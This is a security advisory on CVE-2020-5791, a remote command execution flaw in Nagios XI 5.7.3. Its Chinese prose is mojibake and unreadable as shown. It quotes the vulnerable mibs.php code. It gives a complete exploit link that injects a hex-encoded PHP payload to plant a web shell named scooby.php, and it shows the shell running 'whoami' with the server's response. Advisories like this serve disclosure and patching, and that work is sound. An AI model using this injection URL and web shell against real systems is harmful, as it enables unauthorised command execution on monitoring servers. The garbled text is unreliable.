CVE-2020-5791 | Nagios XIÔ¶³Ì´úÂëÖ´ÐÐÎó²îͨ¸æ
Ðû²¼Ê±¼ä 2020-10-280x00 Îó²î¸ÅÊö
CNVD ID | CVE-2020-5791 | ʱ ¼ä | 2020-10-28 |
Àà ÐÍ | RCE | µÈ ¼¶ | ¸ßΣ |
Ô¶³ÌʹÓà | ÊÇ | Ó°Ïì¹æÄ£ | Nagios XI 5.7.3 |
Nagios XIÊÇÒ»¸ö½¨ÉèÔÚNagios½¹µãÉÏµÄÆóÒµ¼¶¼à²âºÍ±¨¾¯¼Æ»®µÄ¿ªÔ´×é¼þ¡£¡£¡£¡£¡£¡£¹¦Ð§°üÀ¨PHPÍøÕ¾½çÃæ¡¢×ÛºÏÌåÏÖͼ¡¢¿É¶¨ÖƵÄÒDZí°å¡¢ÍøÂç½á¹¹¡¢ÉèÖÃGUI(ͼÐÎÓû§½Ó¿Ú)¡¢Óû§ÖÎÀíµÈ¡£¡£¡£¡£¡£¡£
0x01 Îó²îÏêÇé
2020Äê10ÔÂ15ÈÕ£¬£¬£¬Nagios¿ª·¢ÍŶÓÐû²¼Ç徲ͨ¸æ³ÆNagios XI 5.7.3Öб£´æ¶à¸öÇå¾²Îó²î£¬£¬£¬ÆäÖнÏΪÑÏÖØµÄÊÇÒ»¸öÔ¶³Ì´úÂëÖ´ÐÐÎó²î£¨CVE-2020-5791£©£¬£¬£¬ÆäCVSSÆÀ·Ö7.2¡£¡£¡£¡£¡£¡£
¸ÃÎó²î±£´æÓÚ/nagiosxi/admin/mibs.phpÎļþÖС£¡£¡£¡£¡£¡£¹¥»÷Õß¿ÉÄÜʹÓôËÎó²îÒÔ¡°apache¡±Óû§Ö´ÐÐí§ÒâÏÂÁî¡£¡£¡£¡£¡£¡£ÏêϸÀ´Ëµ£¬£¬£¬µ±HTTP²ÎÊý¡°mode¡±¼´ÊÇ¡°undo-processing¡±²¢ÇÒ¡°type¡±²ÎÊý¼´ÊÇ1ʱ£¬£¬£¬¡°file¡±²ÎÊý×îÖÕ½«±»×ª´ï¸øPHP exec£¨£©º¯Êý£¬£¬£¬¶ø²»Ðè¾ÙÐÐÕûÀí¡£¡£¡£¡£¡£¡£ÒÔÏ´úÂëÏÔʾÁËÕâÒ»µã:
function route_request()
{
global $request;
$mode = '';
if (isset($request['mode'])) {
$mode = $request['mode'];
}
switch ($mode) {
...
case 'undo-processing':
undo_process_single(); // VULN
break;
...
}
...
}
function undo_process_single() {
// Mode needs to be based on processing type of MIB, not on 'current' processing type
$file = grab_request_var('file', '');
$name = grab_request_var('name', '');
$current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));
if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
show_mibs(false, _("No processing to be undone"));
}
undo_processing($file, $name, $current_type); // VULN
show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));
}
function undo_processing($file, $name, $current_type) {
if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
return;
}
$current_conf_path = get_processing_destination($current_type) . '/' . $file;
remove_snmpttconvertmib_files(array($file));
if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {
$get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";
exec($get_event_names_cmd, $all_events, $rc); // VULN
$all_events = array_unique($all_events);
remove_from_snmptt_conf($all_events);
}
mibs_revert_db_entry($name);
}
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¹¥»÷Õß½«ÒÔÏÂÁ´½Ó·¢Ë͸øNagios XIÖÎÀíÔ±£º
http://192.168.x.x/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e">/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/scooby.php
ÖÎÀíÔ±µ¥»÷Á´½Óºó£¬£¬£¬½«½¨Éèscooby.phpÎļþ£¬£¬£¬¹¥»÷Õß¿ÉÒÔ»á¼ûн¨ÉèµÄPHP½ÅÔÀ´Ö´Ðиü¶àÏÂÁî¡£¡£¡£¡£¡£¡£
http://192.168.x.x/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami
×¢ÖØÏìÓ¦Öеġ°apache¡±£º
HTTP/1.1 200 OK
Date: Thu, 24 Sep 2020 21:09:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8
apache
--no-insert
0x02 ´¦Öóͷ£½¨Òé
Éý¼¶µ½×îа汾¡£¡£¡£¡£¡£¡£
ÏÂÔØÁ´½Ó£º
https://www.nagios.com/downloads/nagios-xi/
0x03 ²Î¿¼Á´½Ó
https://www.nagios.com/products/security/
https://www.nagios.com/downloads/nagios-xi/change-log/
https://zh-cn.tenable.com/security/research/tra-2020-58?tns_redirect=true
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5791
0x04 ʱ¼äÏß
2020-10-15 NagiosÐû²¼Ç徲ͨ¸æ
2020-10-28 VSRCÐû²¼Ç徲ͨ¸æ
0x05 ¸½Â¼
CVSSÆÀ·Ö±ê×¼¹ÙÍø£ºhttp://www.first.org/cvss/